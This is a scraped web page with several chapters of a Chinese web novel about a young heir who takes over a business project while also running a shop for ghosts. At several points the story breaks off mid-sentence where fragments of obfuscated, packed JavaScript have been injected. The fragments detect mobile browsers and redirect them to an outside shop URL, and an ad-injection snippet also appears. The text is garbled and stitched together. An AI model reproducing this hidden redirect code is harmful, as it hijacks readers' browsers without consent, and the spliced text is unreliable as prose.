温令羽仔细看了两眼于安，看上去年龄和自己差不多，却能成为“挑剔王”的助理，不禁对她的能力感到佩服，人不可貌相，这句老话没有说错。 于安见温令羽光看不说话，心里开始慌了，大学毕业她开始找工作，之后就是各种挨骂背锅，找茬是各种领导最擅长的事情。 特别是在刚见面的时候，适合给下马威的好时间。 连老话都有一句概括——新官上任三把火。 温令羽没想到就短短几分钟没说话，别人的思绪都飘到了其他地方去，项目的活还摆在那里，温令羽让于安把资料都准备好，下午上班前放到他的办公室。 办公室已经被打扫过了，温令羽进来可以直接使用。 项目资料还在整理，但进度还在逐步向前，能以最快速度清楚项目，就是组员一个个汇报自己的工作进度。 “半个小时后会议室开会，各自整理好自己的工作任务做一个简单的汇报。” 等待的半个小时里，温令羽自己也没闲着，去楼下店铺给自己点了杯咖啡，方便之后听汇报的时候不会睡着。 “你是温氏的员工，我怎么没见过你。” 等待咖啡的间隙，旁边另一位穿着工作服的过来搭话，是个自来熟的性格。 温令羽回答道：“我是新来的。” 对方大概是鲜有人和他聊了，表达欲很足，愤慨地和温令羽说：“这样啊，都不知道公司最近怎么了，咖啡店都关了。害我只能自己花钱排队买了。” “公司有咖啡店啊？”温令羽对于温氏陌生得很。 说到公司待遇，对方还是非常满意的，“就在五楼，不过卖咖啡的小窗口已经有一两个月没开了。” 话说完，对方的咖啡也做好了，留温令羽在原地继续排队等他的咖啡。 这个时候在上班时间，温令羽等了十分钟顺利拿到了他的那杯。 卡这他自己约定的时间点到了会议室，会议室里面，项目组所有成员都等着，就连没通知过的于安都来了。 温令羽不着痕迹地抬腕看了一眼手表，确认自己没有迟到，松了一口气：上课卡点，上班卡点，现在连自己当负责人依旧卡点。 “既然大家都到了，那我们就开始吧。” 项目最开始时的计划初稿是上一个负责人的严重失误，牵扯出一系列非法商业竞争被停职调查。在B方案的启动下，有惊无险地熬过了初期阶段。 项目组总结了初期的进度，已经为之后的合作商做准备。 “B方案是曾经的备选方案，合作商会更倾向于其他公司合作，但重新再计划方案，时间上来不及。”项目组的副组长说道。 这些问题也是温父在头疼的。 此项目开发是由宋氏负责牵头，是宋氏早早拿下的，但如今的宋氏集团海外的项目占了大头，分不出来精力给这个大项目便长久搁置下来，再不开始就要贬值了。 到了迫不得已的地步，宋氏只能移交给其他公司负责，而宋氏则做为辅助，两家公司合作将这个项目顺利完成。 多亏温父和宋父多年交情，以及前段时间温令羽去帮宋时盛的忙。 不然温氏的备选方案凭什么能拼过这么多公司，成功晋级第二轮，绝对第一轮就可以结束回家了。 温令羽想到了这一点，也能猜到温父为什么会这么坚持让他回温氏，特意让他负责宋氏的项目，心思已经昭然若揭了。 会议上仅仅只是简单讲了一讲，就已经到了午饭时间。 温令羽可不想饿着肚子开会，打断了副组长的话，“先这样吧，剩下的下午再说，中午休息去吧。” 然后在众人的目光下，第一个离开了会议室。 从没见过如此决绝离开的背影。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13660677|132143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >温令羽回到了办公室，习惯性打开外卖软件开始选午饭，吃了一个暑假，越看越没食欲。 这时，办公室门被敲响了，于安走了进来。 “小温总，公司有食堂，要我带你去吗？” “可以，那走吧。” 温令羽一点没犹豫，他还怪想念宋时盛公司的食堂，宋时盛当时严格精选的伙食相当合胃口，连食堂工作人员都说来公司吃饭的人比以前还多了。 温氏是家大公司，想必伙食应该丰富。 抱着这样的念头，温令羽脚步飞快地赶，吃饭在大楼的三楼。 虽然不如宋时盛那好吃，但菜品还是很多样的。 质量败了，但种类胜利。 温令羽吃饱喝足后，在办公室的沙发上休息了一个小时，是于安来提交资料的时候，她的高跟鞋踩踏声吵醒了他。 “你午休没睡吗？”温令羽觉得这么大份，用脚趾头想想，都是于安中午赶出来的成果。 于安很意外，“是的，赶紧把资料赶出来，有什么问题我马上就能改。” 温令羽皱了皱眉头，“上午的会议我只想快速地做个基本地了解，其实你可以不用去的。好了，这里没你的事情了，还有半个小时上班，你去休息吧。下午的会议主要介绍之后的安排，通知一下。” 等于安出去关上门，温令羽重新看于安整理的，她甚至连会议上提到的着重标注了。 细心。 难怪温父能派她过来帮他。 温令羽看得认真，桌上的电话响了，显示是总裁办打来的，“喂。” “阿羽，听说你上午开会了，现在基本的项目了解了吧？”温父亲自打开问温令羽情况。 温令羽如实回答道：“基本上是知道了，下午开始安排之后的工作内容。” 工作紧凑且有序。 这样子安排确实没有错，可温父当然是有其他的打算。 “晚上有一个应酬，早点准备，我带你过去。”温令羽进入了公司，温父肯定要带他出去露个脸，好让大家都认识认识。 如今这个年头，默默无闻的人在圈子里举步难行。 晚上定了应酬，温令羽是要重新换身衣服，就他上学穿得这套是在宴会上拿不出手的。 进会议室前，温令羽总算是记起他还有个助理了，“于安，你现在到我家拿一下衣服，需要熨烫，晚上我有个应酬。” “那里面的会议我不用在场吗？”事关项目进程，于安也不敢马虎。 温令羽想了想，“上午的会等会儿要做个总结，你早点去早点回，赶上后半段的会议。” “对了，需要提醒你，我家熨烫机坏了。”温令羽是不想开工第一天就为难人，但他的机器在长时间不用的情况下，今早一熨就彻彻底底地报废了。 于安点了点头，揽下了回去拿衣服的活：“我明白了。有衣服要求吗？” “普通商业宴会，不用太招摇。”温令羽还记得自己柜子里有几件亮色的西服，拿来绝对会成为全场的焦点。 60.开学一课 开完会刚回到办公室，内线电话就响了。 甚至看之前的未接来电，竟然有三通，均来自同一个人。 头一次，温令羽开始怀疑温父是不是一天到晚都没活，要不然怎么光第一天就要来这么多电话，像是只顾着他一个人就当上班了。 温令羽接了起来，“怎么了？” “宴会吃饭的地方有点远，今天早点下班和我过去。”温父此刻非常担心温令羽去会给他丢面子，“你要换套衣服知道没有？没衣服的话上来。” 温令羽发出灵魂拷问：“你确定你的衣服我能穿？” 温父那上了年龄的颜色尺寸，温令羽不敢保证自己能驾驭得了这种风格。 不过温父这通电话是提醒了他，刚开完会回来，还没有检查过于安带过来的衣服，要是不对还能尽快换，自己家离公司还挺近。 于安挑的是去年参加温昕生日宴那一套，当时回家换完阿姨顺手就带去洗掉了，一不小心成了压箱底。时隔一年再看到，依稀记得当时穿这身的样子。 版式适合今晚的场合，不用费劲回家再去换了。 温令羽又处理了一些工作，直到总裁办那边打来电话，温令羽换好衣服先去停车场等。 大约过了十分钟，温父才乘坐电梯下来。 “到时候在现场不用跟着我，自己去认识。”温父事先给温令羽安排好宴会上的任务。 温令羽一下就听出了温父话里的意思，可见这次的场合宋时盛也会去，明明白白说让他去找宋时盛攀关系。 温令羽光看着温父又不说话，看得温父心里发毛，但自己的面子又大过天。 “你看着我做什么？我的话你听清楚了吗？” “听见了。” 温令羽有气无力地回应，他早上刚办完入学，无缝衔接开始工作，晚上直接步入应酬环节。 整个流程都不需要一丝一毫地停顿，直接进入下一部分。 温令羽做过心理准备，眼下的情况是做少了。 车停在酒店门口，宋时盛就比他们晚了一步，他的姑姑挽着他的手，在一众人的注视礼下走了进来。 “阿羽，就猜到你会来。” “你姑姑跟你一起，我是不是应该去打声招呼。” 宋时盛看到温令羽在这，和他姑姑说了一声就过来找他了。 但温令羽见过宋时盛姑姑，而且去年过年夜还白住在他家的酒店，几个理由一起加起来，温令羽坚定了要去给长辈问安。 宋时盛被一提醒，他反应过来，“是啊，我带着你过去。” 然后，宋时盛直接带着温令羽往人堆方向走，那边见到走过来的是宋时盛，纷纷给他让出一条道，两个人顺利站到了姑姑面前。 “你什么时候这么霸道了？”姑姑语气责怪，看着宋时盛挤过这么多人站到了C位。 先责怪后，其他人也不会再说宋时盛不懂事了。 原本站在这里的人，见状开始打圆场，“小宋总年少有为。” 温令羽站在宋时盛边上，被刚刚这么一顿操作，他也算在这个圈子露了个全面。 好不容易从最中心脱离，就注意到温父一直看着这边，温父非常满意刚才的情况，用赞赏的眼光鼓励温令羽继续。 宋时盛也看见了温父的样子，惊讶地问道：“你和你爸和好了？” “托你的福。”温令羽想到了温父不断嘱咐的样子，不禁笑出了声。 真要较真，温父还比不上宋时盛。 宋时盛虽然没听懂，但他聪明，仔细想一想就能通，“所以我爸将要合作的一家是你们啊。” 温令羽清楚他们项目组的进度，自信心一下子就被消耗殆尽了，说道：“八字还没一撇，我还在奋斗当中。” “你爸还挺相信你，直接让你进家里公司了。我爸就不行了，生怕我让他多年心血毁于一旦，家里的事情一点都不让我碰。”宋时盛说起这些，还挺感伤。 宋时盛只让自己假意难过一会儿，很快就又和原来一模一样了。 “那你们现在是哪块项目？” “新城区那里，你应该知道吧。” 宋时盛点了点头，他还真有耳闻，宋氏早些年拿下的项目，“放了好多年了，要不是你提我自己都快忘了。合作商可不好找，当时就是价格谈不拢一直没定。” 毕竟是宋氏的大少爷，多多少少听宋父宋母聊过项目停滞的内情。 在当年，宋氏成功拿到项目，一时间风头无量。宋氏一下子就分成了两块，一队是要发展国内事业，继续做大做强；另一些人觉得要接着名气走出国门，重心放到海外。 而宋父最终站到了另一方，国内的项目只是稳步推进，把资金大笔花在海外项目。 这么做的后果就是没钱了。 “那你们当时有看好的合作商吗？”温令羽打算从这方面入手，能顺利拿下当时钟意的，为之后合作多一份筹码。 宋时盛没看过计划书，但是他听宋母提到过一些公司名，凭记忆将名单列了出来，“就这三家，有段时间我妈天天念叨。不过我也不能确定是不是看好的。” 温令羽很感谢宋时盛给的名单，“名单对我很重要，谢了。” “我们两个的关系还需要说这个字，见外了。”宋时盛说完。 整场宴会，温父都没过来，还比温令羽先一步到车上等。 温令羽不想回温家，刚上车就对司机说道：“先送我到宛西南路。” “回家吧，家里阿姨有做夜宵。”回到家已经要十点了，按习惯都会给温父准备晚饭。 温令羽摇了摇头，他明天一早还有课，书也在家里，“明天还有课，我从家去学校近。” 温父知道温令羽选了个自己喜欢的专业，课程当然摆在前面，“车已经交到于安手上了，以后早上她会开车来接你，既然你有课提早和她说。” 开学第一节课是早八，上的是周二的课。 七点钟，于安就打来电话催起床，在她意料之中，温令羽还没醒。 “小温总， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13678849|132143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 七点钟了。” “于安助理，但是从这里开车过去十分钟，没必要提前一个小时。” 温令羽被吵醒，脾气正是最坏的。 于安没生气，她保持公事公办的态度，还考虑到了各方各面，“小温总，在等你下楼的时间里，我可以去买个早餐，有什么忌口的吗？” 七点四十，温令羽就坐上了新车，他接过早餐。 温令羽边吃边看车窗外的景色，这个时候的路上已经有些堵了，大概再过十分钟，就会堵起来，车子几分钟都难行一步。 于安开车很稳，可以说比温令羽开得要好。 不多时就能远远看见他学校的大门，温令羽一周就这么一天早八，“以后周二不需要来接我上课，我能自己过去。” “明白。十点钟我会准时在校门口。”于安昨晚就收到了温令羽的课表。 提早五分钟到了教室，里面的位置还很空，温令羽找了个中间靠边的位置，这样无论是抽问前排还是后排，都殃及不到自己。 宋时盛迟到了，原本室友给他占的位置没有了，转头看到温令羽那还空了一个，赶紧坐了下来。 温令羽感觉到身边的动静，发现是宋时盛过来了，近距离一见，宋时盛眼底的青色非常明显，他熬了一整晚没睡。 “你大半夜干什么去了？”温令羽担心宋时盛的身体状况。 昨天晚上十点多宴会才结束，时间已经不早了，宋时盛竟然还能熬夜，甚至看他的精神状态，像是三四点才睡觉。 宋时盛将书包里的一沓拿了出来，“都是要留任部门的锅，要我准备面试的资料。” 新生开学报道要晚一点，新的学生会部门就趁着这段空选拔轮换。 这几个月全是宋时盛在面试别人，现在竟然是要被别人面试，怪不得他自己转变不过来。 温令羽安慰道：“面试对你来说小意思。” “我知道，但我平时自己都忙，真管不上学校的事情，要不然你去吧。”宋时盛想把这个机会让给温令羽，他在学校的时间都少得可怜，学生会为在校学生服务，他可不行。 温令羽连忙摇头拒绝，“要是按之前，上学期就选我就去了。推迟到这学期开学，我也抽不出空。” 想当时部长和他说留任，温令羽还没有公司的事，说不定还真就去了。 结果，临近往年面试选拔的日子，学校活动又突然安排下来，根本没有空余的日子换届，只能推迟到这学期期初。 宋时盛没了辙，趴在桌上装死，感慨道：“人情真难还！以后我再也不欠了。谁说大学上不好课，这不就是，给我狠狠上了一课。” 一听到这话，温令羽疑惑地看了过来。 恰好这时宋时盛自己有表达的想法，他谈了一口气，“去年运动会下雨了，我们学院留下来的雨衣雨鞋用完了还不够，最后是我们部长出面去问其他学院借，当时我们去借的时候都不给。” 温令羽当时一直在管运动员的事，完全不知道还有这么一块插曲。 61.出差合作 “等下你有事吗？”宋时盛问温令羽之后的行程安排。 温令羽如实说道：“等一下回公司，一下课就走。” 宋时盛叹了一口气，他这节课结束后就得赶到面试现场，不管能不能被选上，他们这个部门总得去露个脸，要不然在明面上实在是过意不去。 越想越烦，宋时盛干脆摆烂，“随便吧，露个脸就撤吧。” “就你一个应该没有竞争力吧，这不应该直接保送吗？”温令羽觉得应该不会这么困难。 宋时盛摆了摆手，说道：“哪有这么容易，我们部门没有人，其他部门面试的人大把，后面可以选调的。” 温令羽悟了这番操作，“所以你真去凑个人数。” 早八两节课结束，温令羽就收到了于安的消息，她已经在校门口等着了，出去就能看见。 坐上后座，于安指了指摆在温令羽旁边的文件夹。 “这是我早上查到的资料。” “这么快？资料都查全了吗？” 温令羽昨晚就将宋时盛提示的合作商名单发给了于安，本意是想让她今天查出来，没想到于安的效率这么高，第二天一早就出来了。 趁着学校离公司还有一段距离，温令羽等不到回公司，刚翻开，第一个公司就出现了问题。 致纪公司原址是在本市，在去年搬到了别市，那里包下了更大的办公楼。 温令羽有点不敢置信，再次确认：“致纪真搬走了，怎么搬这么远去了。” 实话来说，在本市的发展会更好一点，其他公司卯足了劲都想在这里占据一席之地，没想到他们竟然还换了一个地方。 于安一听这话，她昨晚加班，今早又早起送温令羽早八，导致了睡眠严重不足，对于整理的第一份，记得不大清楚，久久没法回应。 温令羽注意车子已经到了停车场，不为难于安，让于安确认过后再来办公室找他。 见状，于安以为温令羽生气了，是由她找的资料，老板问她却答不上来，按道理应该是会生气不满。 于安站在原地，踌躇半天不敢上前，直到看见温令羽都快进电梯了，快走几步赶了上去，“小温总，这是是我失职，保证不会再犯了。” 温令羽惊讶地偏过头看，之前于安一直在驾驶位，温令羽没发现，这时候才发现于安脸色很不好，尽管化了妆，但还是掩不住虚弱。 本就没打算责怪，“我可什么都没说，你能这么快整理出来不错了，不用自责。” “你们在说什么？” 温父站在电梯里，身后还跟着助理，电梯门一开就见到温令羽和于安再说话，而且现在已经十点了才来公司太不妥当了。 “你怎么这么晚才来？” 温令羽这一听就知道，温父压根没把自己昨晚的话放在心上，“我今天早上有两节课，昨晚和你说过了。” 温父记起来了，温令羽确实是和他说过，但他没放在心上，对刚才的出口很不好意思，没再说了。 这个时候，温父急需要一个台阶下。 “那你现在是要出去？”温父十分好面子，这个时候让他下不来台，绝对会往心里去。 多一事不如少一事。 温父提到温昕就忍不住笑意，“今天是小昕开学第一天，中午要回来吃饭，我准备去学校里接她回家。” 温昕的初中离温家确实远，这个时候出发刚好能接到人，赶上午饭。 说着，温父就准备直接往自己车的方向走，后知后觉，面前的人也是自己的孩子，转了身过来：“你今天要回家吃饭吗？” “不用了，我那里还有很多事情要处理。”温令羽懒得去看一家人其乐融融的模样，干脆拒绝了。 然后，温令羽也没顾温父的目光，直接和于安进电梯走了。 就这一番景象，于安猜出来这父子两的关系，只能说比陌生人要好一些，又坏一些。 温令羽在办公室继续看后面的合作商资料，于安就来汇报关于致纪的内容。 “已经确认过了，致纪是搬迁扩建的。现在的地址是在W市，就是资料里说的位置。”于安将在网上截到的图片打印出来让温令羽看。 温令羽拿过来一看，跟以前的致纪一比，现在的办公室确实大了一倍，可见发展得不错。 于安又继续道：“致纪公司确实是里面最好的选择，但是要合作的话，可能得亲自去一趟W市。” 致纪总公司设在W市，其他分公司离得更远。 只不过难就难在，W市没有直达的车，连转车都麻烦。 温令羽想到坐车就十分头疼，前两天那一趟给他坐怕了，打开地图在查地址，抱怨道：“要坐这么久的车啊。” 这一查不得了，发现就在W市下的一个辖区，于先生的房子就在那里，就是前两天去的地方。 温令羽的电脑开着，他的id登在上面，显示有查询记录。 于安不经意看了一眼，看到了熟悉的地名，自荐道：“小温总，我的老家就在W市，这次的出差我可以负责带路，选择最快到的交通。” 温令羽点了点头，“那你去办吧，越快越好。” “好的。”这事情着急，于安清楚严重性。 温令羽马上要出差，肯定要和温父说一声，更何况这个项目是公司重点，进度也是要汇报的。 到了下午上班点，温令羽亲自去温父的办公室找他。 温父听后沉思了几秒，通过内线叫总助进来。 “你另外派一个助理跟他们一起过去。”转头跟温令羽说道：“阿羽，这是你第一次出差，我不放心。” 毕竟是事关公司“存亡”，温父还是小心为上，又叫了个帮手跟温令羽他们一块去。 于安办事能干，下班前就安排好了，三个小时就能到W市，其中还要转一趟城际列车坐一个小时，然后打车就能打到目的地。 温令羽听后可以接受，“苏顿也会跟去，连他的票一起买了。” 听见苏顿的名字，于安愣了一下，但很快反应过来，没让温令羽发觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13702835|132143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，“好的。” 温令羽是第二天出发时才看到苏顿的，出差原计划两天，苏顿带了一个大行李箱，是温令羽和于安两个相加，让人不得不侧目惊讶。 苏顿虽然没见过温令羽，但还是认出来的，三步并作两步走到温令羽面前，要给温令羽拉行李。 温令羽后退一步躲开了，“时间不早了，等下车开了，走吧。” 于安想跟了上去，一下被苏顿给推开了，就落到了最后面，连原本她的位置都被苏顿给占了。 温令羽在F，于安却买在了另一节车厢。 一个在五号，一个却在十号。 温令羽在站台看于安往另一方向走，叫住了她：“于安，你去哪里？” “没位置了，我的车厢在后面。”于安拿着写有苏顿名字的车票回答道。 温令羽看看苏顿，想说让于安换个位置，话到嘴边车却到了，而另一边于安也到了十号车等候位置，只好作罢。 三个小时后，三人总算会合到一块儿，于安出来就打好了车。 温令羽不得不赞扬于安的能力，这一番安排下来，车坐得确实不累，“于安，你还真熟悉W市的路，比我上次来轻松多了。” 苏顿闻言笑了，不过笑意不达眼底，说话都带着刺，“于安当然熟悉了，她在这里的房产多得不得了。” 于安和苏顿共事过。 于安不想理苏顿，但又不能不管他说的话，对温令羽解释道：“那些房产是我妹妹的，跟我没什么关系。” “谁信。”苏顿嘴快应道。 “对别人的财产少点占有想法。都别忘了我们来的正事，致纪的合作拿不下来，回去都得挨骂。”温令羽并不想听吵架，制止了两人，“打得车到了吗？什么时候可以走？” 一路无话到了下榻的酒店，温令羽虽然不疲累，但为了下午的正事，需要休息，养精蓄锐。 于是，温令羽直接回房间，然后嘱咐于安苏顿：“我中午吃饭晚一点吧，吃完后直接去致纪。” 但这只是温令羽的打算，并不想拉着他们两个一起，“你们饿的话自己先去吃，收好账能报销。” 于安和苏顿齐齐应道：“明白的。” 洗漱完，温令羽刚躺上，门铃响了，门外是于安在按。 “还有什么事吗？” 于安是收拾完了之后，依旧觉得不妥当，还是得问一下温令羽午饭的意向，就直接过来了，“酒店可以送餐，不喜欢还有外卖。要是不执意要堂食的话，我可以先安排下去。” 如此细心周到。 温令羽没什么想要，出差也不是来度假，随意一点就可以，“酒店可以送就更好了，出发前一个小时送过来就可以，没醒的话刚好可以提醒我，别迟到了。” 于安来之前就和致纪负责人通过话，双方协商过见面时间，合作迟到显得没诚意。 说着，于安就准备走，温令羽脑海中突然想起苏顿的话，叫住了她。 “听你说有妹妹，家里还有其他人吗？” 62.矛盾前奏 “我父母已经去世多年，只有一个妹妹在上高中。” 于安不想多提家里的事情，简单说了几句就没再提了，找了休息的理由就离开了。 等人都走远了，温令羽还站在房间门口，原先他总觉得于安与于先生的关系不一般，或许只是自己多想了，相同姓氏而已。 温令羽睡了一会儿，直到酒店送餐服务上门把他叫醒，简单吃过了，就从酒店打车去致纪。 三人一同来到致纪门口，提前预约过，公司前台将他们带到会议室，让他们暂时在这里等待，“老板正在赶过来的路上，各位现在这里等一下。” 苏顿以前出差的时候，还没有这种待遇，责怪于安预约安排的时间不合理，“你没有打听好时间吗？谁知道我们现在要等多久？” “苏助理，约的是下午的时间。我希望你不要把对我的偏见放到工作上来，否则我会向上级质疑你的能力。”于安忍无可忍，苏顿三番两次的语言嘲讽她的能力，再不回嘴还真以为怕了他。 温令羽一方面相信于安的能力，另一方面苏顿是他老爹派过来的，他还真不能拉偏架，不过要是影响这次项目进行，他作为项目负责人当然有资格说几句。 “要是没法拿下致纪的合作，我们都没法回去交差，不要让私人恩怨影响工作。” 话音刚落，就有致纪的工作人员进来说老板此刻已经到了公司，五分钟之后就能到达会议室。 温令羽将他们项目组准备的计划书拿出来，致纪老板也不客气，开门见山地表示这一份不如宋氏的吸引人，“这个开发项目我早几年也见过，手里这份还不如之前的。” “之前，项目在宋氏手上迟迟没有进展，如今温氏和宋氏合作开发，和以前自然有所不同，要是对合作方案有什么不满意的地方，都可以提。”温令羽也没有生气，提出现在项目的模式。 同时于安在旁边点出新计划比旧计划的优势，尽力去弥补计划中的不足之处。 两人合作下来，总算是让致纪的老板开始认真起来，不再对温氏的合作轻待，毕竟之前他可是半点不在意的，不相信温氏能拿出一份好方案。 “可是我听说，温氏现在内部矛盾严重，不利于合作开发啊。”温氏几房之间的竞争，有心人只要一查，保准一查一个准，大家都没瞒着。 温令羽装作毫不在意的样子，搬出宋氏这尊大佛，“接下来的温氏与宋氏强强合作，家里的矛盾相信不久后就能完美解决。” “当时我们和宋氏确实达成了初步的合作意向，世事难料，人家国内项目都放弃了，转海外去了。”致纪还记得之前宋氏的事，要之前能合作，他们公司都不用转地盘还能更上一个台阶。 致纪心里还有些生气，对于合作没说答应但也没拒绝，先让温令羽他们回去等消息，“事情都谈到这里了，你们就先回去吧。合作的话我们公司要开会决定，我不能擅自决定。” 没有留两人，直接下了逐客令。 正是这样态度，绝对就是让人觉得没有合作希望了，苏顿刚出公司大门，抱怨道：“早知道就不提宋氏的名，可能还不会惹的对方生气，这么快把我们赶了出来。” 于安反倒是有不同的看法，“我们在里面已经把能说的能讲的都说了，宋氏合作是不提也得提。或许对方就是想要个台阶下。” 说着，于安看了一眼温令羽。 不知怎么的，温令羽还真从中读出了什么，“你的意思是去找宋时盛。” 于安点了点头，她确实知道温令羽和宋时盛交好的事，宋时盛还是未来很有可能接管宋氏的人，由他出面给人台阶是最合适不过的了。 就在温令羽犹豫的当口，于安趁机又添了一把火，让温令羽不得不去找宋时盛，“小温总你可要知道，如今宋氏的项目还剩最后一轮选拔，我们温氏并非是唯一选择。除了小宋总否则没有其他人选了。” 宋氏不差这么一个项目，但是温氏却不行。 温令羽也清楚，这已经是没法子中的法子，没有犹豫，当即打了电话给宋时盛。 “难得，大忙人还会给我打电话。” “我现在在W市，需要你的帮助。” 宋时盛觉得奇怪，W市这么远，温令羽去那里干什么，甚至连回来都来不及就给他打来电话求助，“什么事情这么急，都不能回来当面说。” 突然，宋时盛面色凝重起来，他记起来了W市有谁在。 “你真跑到致纪去了？”不用温令羽说，宋时盛自己就能想到大概。 温令羽“嗯”了一声，他就将刚才在致纪的情况原封不动地转述了过去，给宋时盛听得一愣一愣的。 等到最后一句话落下，宋时盛没犹豫，直接就答应过来，来当温令羽的说客。 有了宋时盛出马，致纪老板态度一百八十度大转弯，当即就把合作敲定了，甚至还说要请他们在W市好好玩一圈，费用全权报销，只不过以工作忙婉拒。 合作的事情尘埃落定，温令羽也能松口气。 “谢谢，要不是你，我还真拿不下致纪的合作。” “有了致纪作温氏的合作商，最后一轮的选拔看来胜负已出。与其说帮你，不如说是给我们公司赚钱。” 宋时盛当然不会白过来一趟，对他百利无一害的事，自然答应得爽快。 话虽如此，温令羽终是要说这么一句谢，“温氏就缺这么一个合作，是要感谢你能专程过来。” “毕竟你在我那小破公司干了这么久，算还你的人情了。”宋时盛懒得和温令羽讲谢不谢的，巴不得早点过去了这一遭。 项目的事情顺利进展，温令羽终于可以空闲下来，去鬼小馆看一看。 下班点一到，温令羽就卡点出了办公室，办公桌就在门外的于安第一个注意到了，她站了起来，准备跟温令羽一同下班。 温令羽听到身后的动静声，回头一看是于安，“今天你 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 不用跟着我，我自己有私事。” “好的。”于安重新回到自己的工位，准备把今天的工作收个尾再下班。 温令羽来到了鬼小馆，今天轮换的第一天，晋叔要从分馆回来汇报工作，温令羽身为老板要在场不可。 阿辛早早就在门口等着了，隔着大老远看到温令羽的身影。 “阿羽，我还以为你都忘了今天，不来了。”温令羽在项目拿下前，每天加班处理工作，等到项目顺利进行，又是每天回温家报备情况。 无论是项目怎么样，回来都很晚，以至于温老和阿辛都不想去打扰温令羽，小馆里的事情全权交给了他们。 温令羽看出阿辛眼中的心疼，“我没事，今天晋叔回来，我当然要问问情况。” 温老实际也在等，里面待不住了就出来，听见了他们两个对话，“你应该休息一下再过来，晋叔是今天动身出发，回来都要很长时间。” “都晚上了，应该快到了，我们进去等吧。”温令羽稍微算了算时间，快的话今天晚上就能到。 说着，于先生的声音从身后响起，“原来大家都在，那就更好了。” 温令羽看过去，于先生面色铁青，像是一路生着气过来的，而且是生了很大气，到现在都没有消。 阿辛见到这表情还有点慌张，躲在温令羽的背后，“阿羽，怎么就他一个人，晋叔呢？” 说话的声音不小，在场的都听见了。 于先生情绪一下子激动起来，“还好意思说，你们交流所是不是太过分，太任性了？” “我们交流所和小馆的宗旨一样，都是为了鬼魂，都是依照鬼魂自己的意愿。”温令羽安抚于先生。 于先生的气不是对准温令羽，更何况温令羽还是鬼小馆的老板，分馆还需要老板的授权，听到温令羽发话，他语气缓和了一点，“交流所这个店铺就不应该开下去，你作为老板还是趁早关掉它。” 阿辛脾气一急，直接吼道：“凭什么你说关就关，你知不知道还有很多朋友排队等着。” 温令羽怕两者吵起来，就想分开。 他先带于先生去小馆里面想了解一下情况，还不忘嘱咐阿辛和温老，让他们等晋叔回来之后听一下晋叔的说法。 于先生两地来往多次，比晋叔要熟悉很多，自然到得也比对方快，但晋叔也是在外游历了一圈，想必两者的时间应该差得不多。 温令羽先让酒保准备了茶点和吃食，“于先生和晋叔赶路都很累，你准备两份吃的，一份先送到我店铺，另一份等晋叔回来送包厢。” 怕两位当事人直接争吵起来，温令羽做了第二手准备。 前脚回到了店铺，后脚酒保就带着吃食进来，温令羽招呼于先生先歇一歇，“你赶路奔波，先吃点东西，等吃完我们再说。” 于先生也不客气，他一边环视店里的情况，一边吃着手里的东西。 “你墙上的名字怎么没变化？” 63.妹妹于苑 “我能力有限，还不足以能够完成任务。” 于先生闻言，不像刚才那样生气，情绪平静下来，原本他的怒气也不是对准温令羽，“你真要好好管管手底下的人了？要是没有经验可以向我取取经。” “这段时间到底是发生了什么事，说开才有解决的可能。”温令羽开门见山步入正题。 于先生缓缓道来，其实最开始他们几个在分馆相处得十分融洽，各司其职，哪怕是定下的轮换制，对于管事的忙，其他人是能帮就帮。 按道理说，分馆在前期最忙碌的时候是最容易产生分歧，谁都有自己的道理。 可既然都熬过了这段时期，想必是都磨合好了，却在这个时候闹翻就格外奇怪，这么长的时间的相处，相互之间都很了解。 于先生看出了温令羽眼中的疑惑，他记得临走前温令羽曾来找过他的那一个晚上，吵闹的内容无非又绕了回来，“就是你当时走前我们谈论的事，我早说过了不会轻易变卦，只想留在这里。” 温令羽是知道于先生的坚持，而晋叔也一心想说服于先生能同意，所以他走前特意找晋叔说了这件事情，没想到晋叔如此沉不住气，先一步和于先生又说了。 眼看着于先生的生气程度，想必是说了不止一次。 温令羽尽力安抚于先生的情绪，但仅仅到此肯定是不会结束，“到这个份上，我还是想知道你如此抗拒的原因，说不说依旧在你。” “我只是想陪我妹妹久一点，毕竟下一辈子她就不会是我的妹妹了。”于先生提起自己的妹妹，眼泪瞬间蓄满眼眶，他哽咽着：“我妹妹叫于苑，看年纪比你还小一点。” 于先生家庭优渥，年纪轻轻就能接下家里的产业，命运却不曾善待他，在事业最有成的时候确诊了遗传病，病情进展迅速，没几年就得到了解脱，留下年幼的妹妹独自在世。 “你应该替她打算过了吧？”温令羽忽然对于先生为何留下的原因十分好奇，关键人物就在于苑身上。 